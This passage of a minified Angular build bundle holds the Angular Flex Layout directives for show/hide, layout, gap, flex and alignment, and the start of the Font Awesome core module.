oe{constructor(){super(...arguments),this.inputs=k}}return De.\\u0275fac=function(){let re;return function(We){return(re||(re=n.n5z(De)))(We||De)}}(),De.\\u0275dir=n.lG2({type:De,selectors:[["","fxShow",""],["","fxShow.print",""],["","fxShow.xs",""],["","fxShow.sm",""],["","fxShow.md",""],["","fxShow.lg",""],["","fxShow.xl",""],["","fxShow.lt-sm",""],["","fxShow.lt-md",""],["","fxShow.lt-lg",""],["","fxShow.lt-xl",""],["","fxShow.gt-xs",""],["","fxShow.gt-sm",""],["","fxShow.gt-md",""],["","fxShow.gt-lg",""],["","fxHide",""],["","fxHide.print",""],["","fxHide.xs",""],["","fxHide.sm",""],["","fxHide.md",""],["","fxHide.lg",""],["","fxHide.xl",""],["","fxHide.lt-sm",""],["","fxHide.lt-md",""],["","fxHide.lt-lg",""],["","fxHide.lt-xl",""],["","fxHide.gt-xs",""],["","fxHide.gt-sm",""],["","fxHide.gt-md",""],["","fxHide.gt-lg",""]],inputs:{fxShow:"fxShow","fxShow.print":"fxShow.print","fxShow.xs":"fxShow.xs","fxShow.sm":"fxShow.sm","fxShow.md":"fxShow.md","fxShow.lg":"fxShow.lg","fxShow.xl":"fxShow.xl","fxShow.lt-sm":"fxShow.lt-sm","fxShow.lt-md":"fxShow.lt-md","fxShow.lt-lg":"fxShow.lt-lg","fxShow.lt-xl":"fxShow.lt-xl","fxShow.gt-xs":"fxShow.gt-xs","fxShow.gt-sm":"fxShow.gt-sm","fxShow.gt-md":"fxShow.gt-md","fxShow.gt-lg":"fxShow.gt-lg",fxHide:"fxHide","fxHide.print":"fxHide.print","fxHide.xs":"fxHide.xs","fxHide.sm":"fxHide.sm","fxHide.md":"fxHide.md","fxHide.lg":"fxHide.lg","fxHide.xl":"fxHide.xl","fxHide.lt-sm":"fxHide.lt-sm","fxHide.lt-md":"fxHide.lt-md","fxHide.lt-lg":"fxHide.lt-lg","fxHide.lt-xl":"fxHide.lt-xl","fxHide.gt-xs":"fxHide.gt-xs","fxHide.gt-sm":"fxHide.gt-sm","fxHide.gt-md":"fxHide.gt-md","fxHide.gt-lg":"fxHide.gt-lg"},features:[n.qOj]}),De})())(),bt=(()=>(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275mod=n.oAB({type:De}),De.\\u0275inj=n.cJS({imports:[s.IR]}),De})())()},6784:(At,ae,d)=>{"use strict";d.d(ae,{o9:()=>vt});var n=d(4650),a=d(6895),s=d(5107),u=d(1600),c=d(4916);d(1281);let on=(()=>(()=>{class O{}return O.\\u0275fac=function(h){return new(h||O)},O.\\u0275mod=n.oAB({type:O}),O.\\u0275inj=n.cJS({imports:[s.IR]}),O})())(),vt=(()=>(()=>{class O{constructor(h,$){(0,a.PM)($)&&!h&&console.warn("Warning: Flex Layout loaded on the server without FlexLayoutServerModule")}static withConfig(h,$=[]){return{ngModule:O,providers:h.serverLoaded?[{provide:s.WU,useValue:Object.assign(Object.assign({},s.g5),h)},{provide:s.Bs,useValue:$,multi:!0},{provide:s.wY,useValue:!0}]:[{provide:s.WU,useValue:Object.assign(Object.assign({},s.g5),h)},{provide:s.Bs,useValue:$,multi:!0}]}}}return O.\\u0275fac=function(h){return new(h||O)(n.LFG(s.wY),n.LFG(n.Lbi))},O.\\u0275mod=n.oAB({type:O}),O.\\u0275inj=n.cJS({imports:[c.ae,u.aT,on,c.ae,u.aT,on]}),O})())()},4916:(At,ae,d)=>{"use strict";d.d(ae,{SQ:()=>q,Wh:()=>Fe,XD:()=>wt,ae:()=>jt,xw:()=>Q,yH:()=>re});var n=d(4650),a=d(5107),s=d(445),u=d(8929),c=d(7625);const f="inline",E=["row","column","row-reverse","column-reverse"];function S(pt){pt=pt?pt.toLowerCase():"";let[nt,fe,Ee]=pt.split(" ");return E.find(at=>at===nt)||(nt=E[0]),fe===f&&(fe=Ee!==f?Ee:"",Ee=f),[nt,C(fe),!!Ee]}function g(pt){let[nt]=S(pt);return nt.indexOf("row")>-1}function C(pt){if(pt)switch(pt.toLowerCase()){case"reverse":case"wrap-reverse":case"reverse-wrap":pt="wrap-reverse";break;case"no":case"none":case"nowrap":pt="nowrap";break;default:pt="wrap"}return pt}let H=(()=>(()=>{class nt extends a.QI{buildStyles(Ee){return function _(pt){let[nt,fe,Ee]=S(pt);return function z(pt,nt=null,fe=!1){return{display:fe?"inline-flex":"flex","box-sizing":"border-box","flex-direction":pt,"flex-wrap":nt||null}}(nt,fe,Ee)}(Ee)}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt},token:nt,providedIn:"root"}),nt})())();const j=["fxLayout","fxLayout.xs","fxLayout.sm","fxLayout.md","fxLayout.lg","fxLayout.xl","fxLayout.lt-sm","fxLayout.lt-md","fxLayout.lt-lg","fxLayout.lt-xl","fxLayout.gt-xs","fxLayout.gt-sm","fxLayout.gt-md","fxLayout.gt-lg"];let G=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot){super(Ee,Se,at,ot),this.DIRECTIVE_KEY="layout",this.styleCache=oe,this.init()}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(a.RK),n.Y36(H),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,features:[n.qOj]}),nt})())(),Q=(()=>(()=>{class nt extends G{constructor(){super(...arguments),this.inputs=j}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxLayout",""],["","fxLayout.xs",""],["","fxLayout.sm",""],["","fxLayout.md",""],["","fxLayout.lg",""],["","fxLayout.xl",""],["","fxLayout.lt-sm",""],["","fxLayout.lt-md",""],["","fxLayout.lt-lg",""],["","fxLayout.lt-xl",""],["","fxLayout.gt-xs",""],["","fxLayout.gt-sm",""],["","fxLayout.gt-md",""],["","fxLayout.gt-lg",""]],inputs:{fxLayout:"fxLayout","fxLayout.xs":"fxLayout.xs","fxLayout.sm":"fxLayout.sm","fxLayout.md":"fxLayout.md","fxLayout.lg":"fxLayout.lg","fxLayout.xl":"fxLayout.xl","fxLayout.lt-sm":"fxLayout.lt-sm","fxLayout.lt-md":"fxLayout.lt-md","fxLayout.lt-lg":"fxLayout.lt-lg","fxLayout.lt-xl":"fxLayout.lt-xl","fxLayout.gt-xs":"fxLayout.gt-xs","fxLayout.gt-sm":"fxLayout.gt-sm","fxLayout.gt-md":"fxLayout.gt-md","fxLayout.gt-lg":"fxLayout.gt-lg"},features:[n.qOj]}),nt})())();const oe=new Map,Ce={"margin-left":null,"margin-right":null,"margin-top":null,"margin-bottom":null};let k=(()=>(()=>{class nt extends a.QI{constructor(Ee){super(),this._styler=Ee}buildStyles(Ee,at){return Ee.endsWith(le)?function Qe(pt,nt){const[fe,Ee]=pt.split(" "),Se=Rt=>`-${Rt}`;let ot="0px",Ne=Se(Ee||fe),ut="0px";return"rtl"===nt?ut=Se(fe):ot=Se(fe),{margin:`0px ${ot} ${Ne} ${ut}`}}(Ee=Ee.slice(0,Ee.indexOf(le)),at.directionality):{}}sideEffect(Ee,at,Se){const ot=Se.items;if(Ee.endsWith(le)){const Ne=function Oe(pt,nt){const[fe,Ee]=pt.split(" ");let Se="0px",Ne="0px";return"rtl"===nt?Ne=fe:Se=fe,{padding:`0px ${Se} ${Ee||fe} ${Ne}`}}(Ee=Ee.slice(0,Ee.indexOf(le)),Se.directionality);this._styler.applyStyleToElements(Ne,Se.items)}else{const Ne=ot.pop(),ut=function qe(pt,nt){const fe=Ye(nt.directionality,nt.layout),Ee=Object.assign({},Ce);return Ee[fe]=pt,Ee}(Ee,Se);this._styler.applyStyleToElements(ut,ot),this._styler.applyStyleToElements(Ce,[Ne])}}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.LFG(a.RK))},nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt((0,n.LFG)(a.RK))},token:nt,providedIn:"root"}),nt})())();const K=["fxLayoutGap","fxLayoutGap.xs","fxLayoutGap.sm","fxLayoutGap.md","fxLayoutGap.lg","fxLayoutGap.xl","fxLayoutGap.lt-sm","fxLayoutGap.lt-md","fxLayoutGap.lt-lg","fxLayoutGap.lt-xl","fxLayoutGap.gt-xs","fxLayoutGap.gt-sm","fxLayoutGap.gt-md","fxLayoutGap.gt-lg"];let ee=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot,Ne,ut){super(Ee,Ne,ot,ut),this.zone=at,this.directionality=Se,this.styleUtils=ot,this.layout="row",this.DIRECTIVE_KEY="layout-gap",this.observerSubject=new u.xQ;const Rt=[this.directionality.change,this.observerSubject.asObservable()];this.init(Rt),this.marshal.trackValue(this.nativeElement,"layout").pipe((0,c.R)(this.destroySubject)).subscribe(this.onLayoutChange.bind(this))}get childrenNodes(){const Ee=this.nativeElement.children,at=[];for(let Se=Ee.length;Se--;)at[Se]=Ee[Se];return at}ngAfterContentInit(){this.buildChildObservable(),this.triggerUpdate()}ngOnDestroy(){super.ngOnDestroy(),this.observer&&this.observer.disconnect()}onLayoutChange(Ee){const Se=Ee.value.split(" ");this.layout=Se[0],E.find(ot=>ot===this.layout)||(this.layout="row"),this.triggerUpdate()}updateWithValue(Ee){const at=this.childrenNodes.filter(Se=>1===Se.nodeType&&this.willDisplay(Se)).sort((Se,ot)=>{const Ne=+this.styler.lookupStyle(Se,"order"),ut=+this.styler.lookupStyle(ot,"order");return isNaN(Ne)||isNaN(ut)||Ne===ut?0:Ne>ut?1:-1});if(at.length>0){const Se=this.directionality.value,ot=this.layout;"row"===ot&&"rtl"===Se?this.styleCache=we:"row"===ot&&"rtl"!==Se?this.styleCache=je:"column"===ot&&"rtl"===Se?this.styleCache=ce:"column"===ot&&"rtl"!==Se&&(this.styleCache=Ze),this.addStyles(Ee,{directionality:Se,items:at,layout:ot})}}clearStyles(){const Ee=Object.keys(this.mru).length>0,at=Ee?"padding":Ye(this.directionality.value,this.layout);Ee&&super.clearStyles(),this.styleUtils.applyStyleToElements({[at]:""},this.childrenNodes)}willDisplay(Ee){const at=this.marshal.getValue(Ee,"show-hide");return!0===at||void 0===at&&"none"!==this.styleUtils.lookupStyle(Ee,"display")}buildChildObservable(){this.zone.runOutsideAngular(()=>{typeof MutationObserver<"u"&&(this.observer=new MutationObserver(Ee=>{Ee.some(Se=>Se.addedNodes&&Se.addedNodes.length>0||Se.removedNodes&&Se.removedNodes.length>0)&&this.observerSubject.next()}),this.observer.observe(this.nativeElement,{childList:!0}))})}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(n.R0b),n.Y36(s.Is),n.Y36(a.RK),n.Y36(k),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,features:[n.qOj]}),nt})())(),q=(()=>(()=>{class nt extends ee{constructor(){super(...arguments),this.inputs=K}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxLayoutGap",""],["","fxLayoutGap.xs",""],["","fxLayoutGap.sm",""],["","fxLayoutGap.md",""],["","fxLayoutGap.lg",""],["","fxLayoutGap.xl",""],["","fxLayoutGap.lt-sm",""],["","fxLayoutGap.lt-md",""],["","fxLayoutGap.lt-lg",""],["","fxLayoutGap.lt-xl",""],["","fxLayoutGap.gt-xs",""],["","fxLayoutGap.gt-sm",""],["","fxLayoutGap.gt-md",""],["","fxLayoutGap.gt-lg",""]],inputs:{fxLayoutGap:"fxLayoutGap","fxLayoutGap.xs":"fxLayoutGap.xs","fxLayoutGap.sm":"fxLayoutGap.sm","fxLayoutGap.md":"fxLayoutGap.md","fxLayoutGap.lg":"fxLayoutGap.lg","fxLayoutGap.xl":"fxLayoutGap.xl","fxLayoutGap.lt-sm":"fxLayoutGap.lt-sm","fxLayoutGap.lt-md":"fxLayoutGap.lt-md","fxLayoutGap.lt-lg":"fxLayoutGap.lt-lg","fxLayoutGap.lt-xl":"fxLayoutGap.lt-xl","fxLayoutGap.gt-xs":"fxLayoutGap.gt-xs","fxLayoutGap.gt-sm":"fxLayoutGap.gt-sm","fxLayoutGap.gt-md":"fxLayoutGap.gt-md","fxLayoutGap.gt-lg":"fxLayoutGap.gt-lg"},features:[n.qOj]}),nt})())();const we=new Map,ce=new Map,je=new Map,Ze=new Map,le=" grid";function Ye(pt,nt){switch(nt){case"column":return"margin-bottom";case"column-reverse":return"margin-top";case"row":default:return"rtl"===pt?"margin-left":"margin-right";case"row-reverse":return"rtl"===pt?"margin-right":"margin-left"}}function Ke(pt,...nt){if(null==pt)throw TypeError("Cannot convert undefined or null to object");for(let fe of nt)if(null!=fe)for(let Ee in fe)fe.hasOwnProperty(Ee)&&(pt[Ee]=fe[Ee]);return pt}let dt=(()=>(()=>{class nt extends a.QI{constructor(Ee){super(),this.layoutConfig=Ee}buildStyles(Ee,at){let[Se,ot,...Ne]=Ee.split(" "),ut=Ne.join(" ");const Rt=at.direction.indexOf("column")>-1?"column":"row",Zt=g(Rt)?"max-width":"max-height",a1=g(Rt)?"min-width":"min-height",_1=String(ut).indexOf("calc")>-1,G1=_1||"auto"===ut,gn=String(ut).indexOf("%")>-1&&!_1,nn=String(ut).indexOf("px")>-1||String(ut).indexOf("rem")>-1||String(ut).indexOf("em")>-1||String(ut).indexOf("vw")>-1||String(ut).indexOf("vh")>-1;let P1=_1||nn;Se="0"==Se?0:Se,ot="0"==ot?0:ot;const on=!Se&&!ot;let Ge={};const vt={"max-width":null,"max-height":null,"min-width":null,"min-height":null};switch(ut||""){case"":ut="row"===Rt?"0%":!1!==this.layoutConfig.useColumnBasisZero?"0.000000001px":"auto";break;case"initial":case"nogrow":Se=0,ut="auto";break;case"grow":ut="100%";break;case"noshrink":ot=0,ut="auto";break;case"auto":break;case"none":Se=0,ot=0,ut="auto";break;default:!P1&&!gn&&!isNaN(ut)&&(ut+="%"),"0%"===ut&&(P1=!0),"0px"===ut&&(ut="0%"),Ge=Ke(vt,_1?{"flex-grow":Se,"flex-shrink":ot,"flex-basis":P1?ut:"100%"}:{flex:`${Se} ${ot} ${P1?ut:"100%"}`})}return Ge.flex||Ge["flex-grow"]||(Ge=Ke(vt,_1?{"flex-grow":Se,"flex-shrink":ot,"flex-basis":ut}:{flex:`${Se} ${ot} ${ut}`})),"0%"!==ut&&"0px"!==ut&&"0.000000001px"!==ut&&"auto"!==ut&&(Ge[a1]=on||P1&&Se?ut:null,Ge[Zt]=on||!G1&&ot?ut:null),Ge[a1]||Ge[Zt]?at.hasWrap&&(Ge[_1?"flex-basis":"flex"]=Ge[Zt]?_1?Ge[Zt]:`${Se} ${ot} ${Ge[Zt]}`:_1?Ge[a1]:`${Se} ${ot} ${Ge[a1]}`):Ge=Ke(vt,_1?{"flex-grow":Se,"flex-shrink":ot,"flex-basis":ut}:{flex:`${Se} ${ot} ${ut}`}),Ke(Ge,{"box-sizing":"border-box"})}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.LFG(a.WU))},nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt((0,n.LFG)(a.WU))},token:nt,providedIn:"root"}),nt})())();const bt=["fxFlex","fxFlex.xs","fxFlex.sm","fxFlex.md","fxFlex.lg","fxFlex.xl","fxFlex.lt-sm","fxFlex.lt-md","fxFlex.lt-lg","fxFlex.lt-xl","fxFlex.gt-xs","fxFlex.gt-sm","fxFlex.gt-md","fxFlex.gt-lg"];let De=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot,Ne){super(Ee,ot,at,Ne),this.layoutConfig=Se,this.marshal=Ne,this.DIRECTIVE_KEY="flex",this.direction=void 0,this.wrap=void 0,this.flexGrow="1",this.flexShrink="1",this.init()}get shrink(){return this.flexShrink}set shrink(Ee){this.flexShrink=Ee||"1",this.triggerReflow()}get grow(){return this.flexGrow}set grow(Ee){this.flexGrow=Ee||"1",this.triggerReflow()}ngOnInit(){this.parentElement&&(this.marshal.trackValue(this.parentElement,"layout").pipe((0,c.R)(this.destroySubject)).subscribe(this.onLayoutChange.bind(this)),this.marshal.trackValue(this.nativeElement,"layout-align").pipe((0,c.R)(this.destroySubject)).subscribe(this.triggerReflow.bind(this)))}onLayoutChange(Ee){const Se=Ee.value.split(" ");this.direction=Se[0],this.wrap=void 0!==Se[1]&&"wrap"===Se[1],this.triggerUpdate()}updateWithValue(Ee){void 0===this.direction&&(this.direction=this.getFlexFlowDirection(this.parentElement,!1!==this.layoutConfig.addFlexToParent)),void 0===this.wrap&&(this.wrap=this.hasWrap(this.parentElement));const Se=this.direction,ot=Se.startsWith("row"),Ne=this.wrap;ot&&Ne?this.styleCache=xt:ot&&!Ne?this.styleCache=ve:!ot&&Ne?this.styleCache=Be:!ot&&!Ne&&(this.styleCache=We);const ut=String(Ee).replace(";",""),Rt=(0,a.Ot)(ut,this.flexGrow,this.flexShrink);this.addStyles(Rt.join(" "),{direction:Se,hasWrap:Ne})}triggerReflow(){const Ee=this.activatedValue;if(void 0!==Ee){const at=(0,a.Ot)(Ee+"",this.flexGrow,this.flexShrink);this.marshal.updateElement(this.nativeElement,this.DIRECTIVE_KEY,at.join(" "))}}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(a.RK),n.Y36(a.WU),n.Y36(dt),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,inputs:{shrink:["fxShrink","shrink"],grow:["fxGrow","grow"]},features:[n.qOj]}),nt})())(),re=(()=>(()=>{class nt extends De{constructor(){super(...arguments),this.inputs=bt}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxFlex",""],["","fxFlex.xs",""],["","fxFlex.sm",""],["","fxFlex.md",""],["","fxFlex.lg",""],["","fxFlex.xl",""],["","fxFlex.lt-sm",""],["","fxFlex.lt-md",""],["","fxFlex.lt-lg",""],["","fxFlex.lt-xl",""],["","fxFlex.gt-xs",""],["","fxFlex.gt-sm",""],["","fxFlex.gt-md",""],["","fxFlex.gt-lg",""]],inputs:{fxFlex:"fxFlex","fxFlex.xs":"fxFlex.xs","fxFlex.sm":"fxFlex.sm","fxFlex.md":"fxFlex.md","fxFlex.lg":"fxFlex.lg","fxFlex.xl":"fxFlex.xl","fxFlex.lt-sm":"fxFlex.lt-sm","fxFlex.lt-md":"fxFlex.lt-md","fxFlex.lt-lg":"fxFlex.lt-lg","fxFlex.lt-xl":"fxFlex.lt-xl","fxFlex.gt-xs":"fxFlex.gt-xs","fxFlex.gt-sm":"fxFlex.gt-sm","fxFlex.gt-md":"fxFlex.gt-md","fxFlex.gt-lg":"fxFlex.gt-lg"},features:[n.qOj]}),nt})())();const ve=new Map,We=new Map,xt=new Map,Be=new Map;let b=(()=>(()=>{class nt extends a.QI{buildStyles(Ee){const at={};switch(Ee=Ee||"stretch"){case"start":at["align-self"]="flex-start";break;case"end":at["align-self"]="flex-end";break;default:at["align-self"]=Ee}return at}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt},token:nt,providedIn:"root"}),nt})())();const B=["fxFlexAlign","fxFlexAlign.xs","fxFlexAlign.sm","fxFlexAlign.md","fxFlexAlign.lg","fxFlexAlign.xl","fxFlexAlign.lt-sm","fxFlexAlign.lt-md","fxFlexAlign.lt-lg","fxFlexAlign.lt-xl","fxFlexAlign.gt-xs","fxFlexAlign.gt-sm","fxFlexAlign.gt-md","fxFlexAlign.gt-lg"];let Xe=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot){super(Ee,Se,at,ot),this.DIRECTIVE_KEY="flex-align",this.styleCache=it,this.init()}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(a.RK),n.Y36(b),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,features:[n.qOj]}),nt})())();const it=new Map;let wt=(()=>(()=>{class nt extends Xe{constructor(){super(...arguments),this.inputs=B}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxFlexAlign",""],["","fxFlexAlign.xs",""],["","fxFlexAlign.sm",""],["","fxFlexAlign.md",""],["","fxFlexAlign.lg",""],["","fxFlexAlign.xl",""],["","fxFlexAlign.lt-sm",""],["","fxFlexAlign.lt-md",""],["","fxFlexAlign.lt-lg",""],["","fxFlexAlign.lt-xl",""],["","fxFlexAlign.gt-xs",""],["","fxFlexAlign.gt-sm",""],["","fxFlexAlign.gt-md",""],["","fxFlexAlign.gt-lg",""]],inputs:{fxFlexAlign:"fxFlexAlign","fxFlexAlign.xs":"fxFlexAlign.xs","fxFlexAlign.sm":"fxFlexAlign.sm","fxFlexAlign.md":"fxFlexAlign.md","fxFlexAlign.lg":"fxFlexAlign.lg","fxFlexAlign.xl":"fxFlexAlign.xl","fxFlexAlign.lt-sm":"fxFlexAlign.lt-sm","fxFlexAlign.lt-md":"fxFlexAlign.lt-md","fxFlexAlign.lt-lg":"fxFlexAlign.lt-lg","fxFlexAlign.lt-xl":"fxFlexAlign.lt-xl","fxFlexAlign.gt-xs":"fxFlexAlign.gt-xs","fxFlexAlign.gt-sm":"fxFlexAlign.gt-sm","fxFlexAlign.gt-md":"fxFlexAlign.gt-md","fxFlexAlign.gt-lg":"fxFlexAlign.gt-lg"},features:[n.qOj]}),nt})())(),c1=(()=>(()=>{class nt extends a.QI{buildStyles(Ee,at){const Se={},[ot,Ne]=Ee.split(" ");switch(ot){case"center":Se["justify-content"]="center";break;case"space-around":Se["justify-content"]="space-around";break;case"space-between":Se["justify-content"]="space-between";break;case"space-evenly":Se["justify-content"]="space-evenly";break;case"end":case"flex-end":Se["justify-content"]="flex-end";break;default:Se["justify-content"]="flex-start"}switch(Ne){case"start":case"flex-start":Se["align-items"]=Se["align-content"]="flex-start";break;case"center":Se["align-items"]=Se["align-content"]="center";break;case"end":case"flex-end":Se["align-items"]=Se["align-content"]="flex-end";break;case"space-between":Se["align-content"]="space-between",Se["align-items"]="stretch";break;case"space-around":Se["align-content"]="space-around",Se["align-items"]="stretch";break;case"baseline":Se["align-content"]="stretch",Se["align-items"]="baseline";break;default:Se["align-items"]=Se["align-content"]="stretch"}return Ke(Se,{display:at.inline?"inline-flex":"flex","flex-direction":at.layout,"box-sizing":"border-box","max-width":"stretch"===Ne?g(at.layout)?null:"100%":null,"max-height":"stretch"===Ne&&g(at.layout)?"100%":null})}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt},token:nt,providedIn:"root"}),nt})())();const It=["fxLayoutAlign","fxLayoutAlign.xs","fxLayoutAlign.sm","fxLayoutAlign.md","fxLayoutAlign.lg","fxLayoutAlign.xl","fxLayoutAlign.lt-sm","fxLayoutAlign.lt-md","fxLayoutAlign.lt-lg","fxLayoutAlign.lt-xl","fxLayoutAlign.gt-xs","fxLayoutAlign.gt-sm","fxLayoutAlign.gt-md","fxLayoutAlign.gt-lg"];let kt=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot){super(Ee,Se,at,ot),this.DIRECTIVE_KEY="layout-align",this.layout="row",this.inline=!1,this.init(),this.marshal.trackValue(this.nativeElement,"layout").pipe((0,c.R)(this.destroySubject)).subscribe(this.onLayoutChange.bind(this))}updateWithValue(Ee){const at=this.layout||"row",Se=this.inline;"row"===at&&Se?this.styleCache=xe:"row"!==at||Se?"row-reverse"===at&&Se?this.styleCache=Ae:"row-reverse"!==at||Se?"column"===at&&Se?this.styleCache=J:"column"!==at||Se?"column-reverse"===at&&Se?this.styleCache=mt:"column-reverse"===at&&!Se&&(this.styleCache=Ue):this.styleCache=Pe:this.styleCache=Re:this.styleCache=be,this.addStyles(Ee,{layout:at,inline:Se})}onLayoutChange(Ee){const at=Ee.value.split(" ");this.layout=at[0],this.inline=Ee.value.includes("inline"),E.find(Se=>Se===this.layout)||(this.layout="row"),this.triggerUpdate()}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(a.RK),n.Y36(c1),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,features:[n.qOj]}),nt})())(),Fe=(()=>(()=>{class nt extends kt{constructor(){super(...arguments),this.inputs=It}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxLayoutAlign",""],["","fxLayoutAlign.xs",""],["","fxLayoutAlign.sm",""],["","fxLayoutAlign.md",""],["","fxLayoutAlign.lg",""],["","fxLayoutAlign.xl",""],["","fxLayoutAlign.lt-sm",""],["","fxLayoutAlign.lt-md",""],["","fxLayoutAlign.lt-lg",""],["","fxLayoutAlign.lt-xl",""],["","fxLayoutAlign.gt-xs",""],["","fxLayoutAlign.gt-sm",""],["","fxLayoutAlign.gt-md",""],["","fxLayoutAlign.gt-lg",""]],inputs:{fxLayoutAlign:"fxLayoutAlign","fxLayoutAlign.xs":"fxLayoutAlign.xs","fxLayoutAlign.sm":"fxLayoutAlign.sm","fxLayoutAlign.md":"fxLayoutAlign.md","fxLayoutAlign.lg":"fxLayoutAlign.lg","fxLayoutAlign.xl":"fxLayoutAlign.xl","fxLayoutAlign.lt-sm":"fxLayoutAlign.lt-sm","fxLayoutAlign.lt-md":"fxLayoutAlign.lt-md","fxLayoutAlign.lt-lg":"fxLayoutAlign.lt-lg","fxLayoutAlign.lt-xl":"fxLayoutAlign.lt-xl","fxLayoutAlign.gt-xs":"fxLayoutAlign.gt-xs","fxLayoutAlign.gt-sm":"fxLayoutAlign.gt-sm","fxLayoutAlign.gt-md":"fxLayoutAlign.gt-md","fxLayoutAlign.gt-lg":"fxLayoutAlign.gt-lg"},features:[n.qOj]}),nt})())();const be=new Map,Pe=new Map,Re=new Map,Ue=new Map,xe=new Map,J=new Map,Ae=new Map,mt=new Map;let jt=(()=>(()=>{class nt{}return nt.\\u0275fac=function(Ee){return new(Ee||nt)},nt.\\u0275mod=n.oAB({type:nt}),nt.\\u0275inj=n.cJS({imports:[a.IR,s.vT]}),nt})())()},5951:(At,ae,d)=>{"use strict";function n(ye){return(n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(st){return typeof st}:function(st){return st&&"function"==typeof Symbol&&st.constructor===Symbol&&st!==Symbol.prototype?"symbol":typeof st})(ye)}function s(ye,st){for(var I=0;I<st.length;I++){var L=st[I];L.enumerable=L.enumerable||!1,L.configurable=!0,"value"in L&&(L.writable=!0),Object.defineProperty(ye,L.key,L)}}function c(ye,st,I){return st in ye?Object.defineProperty(ye,st,{value:I,enumerable:!0,configurable:!0,writable:!0}):ye[st]=I,ye}function f(ye){for(var st=1;st<arguments.length;st++){var I=null!=arguments[st]?arguments[st]:{},L=Object.keys(I);"function"==typeof Object.getOwnPropertySymbols&&(L=L.concat(Object.getOwnPropertySymbols(I).filter(function(T){return Object.getOwnPropertyDescriptor(I,T).enumerable}))),L.forEach(function(T){c(ye,T,I[T])})}return ye}function E(ye,st){return function g(ye){if(Array.isArray(ye))return ye}(ye)||function z(ye,st){var I=[],L=!0,T=!1,ue=void 0;try{for(var Ot,gt=ye[Symbol.iterator]();!(L=(Ot=gt.next()).done)&&(I.push(Ot.value),!st||I.length!==st);L=!0);}catch(Jt){T=!0,ue=Jt}finally{try{!L&&null!=gt.return&>.return()}finally{if(T)throw ue}}return I}(ye,st)||function j(){throw new TypeError("Invalid attempt to destructure non-iterable instance")}()}function _(ye){return function S(ye){if(Array.isArray(ye)){for(var st=0,I=new Array(ye.length);st<ye.length;st++)I[st]=ye[st];return I}}(ye)||function C(ye){if(Symbol.iterator in Object(ye)||"[object Arguments]"===Object.prototype.toString.call(ye))return Array.from(ye)}(ye)||function H(){throw new TypeError("Invalid attempt to spread non-iterable instance")}()}d.d(ae,{vI:()=>_n,vz:()=>si});var U=function(){},G={},Q={},oe=null,Ce={mark:U,measure:U};try{typeof window<"u"&&(G=window),typeof document<"u"&&(Q=document),typeof MutationObserver<"u"&&(oe=MutationObserver),typeof performance<"u"&&(Ce=performance)}catch{}var K=(G.navigator||{}).userAgent,se=void 0===K?"":K,ee=G,q=Q,we=oe,ce=Ce,Ze=!!q.documentElement&&!!q.head&&"function"==typeof q.addEventListener&&"function"==typeof q.createElement,le=~se.indexOf("MSIE")||~se.indexOf("Trident/"),Oe="___FONT_AWESOME___",Qe=16,Ye="fa",qe="svg-inline--fa",Ke="data-fa-i2svg",dt="data-fa-pseudo-element",bt="data-fa-pseudo-element-pending",ze="data-prefix",De="data-icon",re="fontawesome-i2svg",ve="async",We=["HTML","HEAD","STYLE","SCRIPT"],xt=function(){try{return!0}catch{return!1}}(),Be={fas:"solid",far:"regular",fal:"light",fad:"duotone",fab:"brands",fak:"kit",fa:"solid"},pe={solid:"fas",regular:"far",light:"fal",duotone:"fad",brands:"fab",kit:"fak"},P="fa-layers-text",w=/Font Awesome ([5 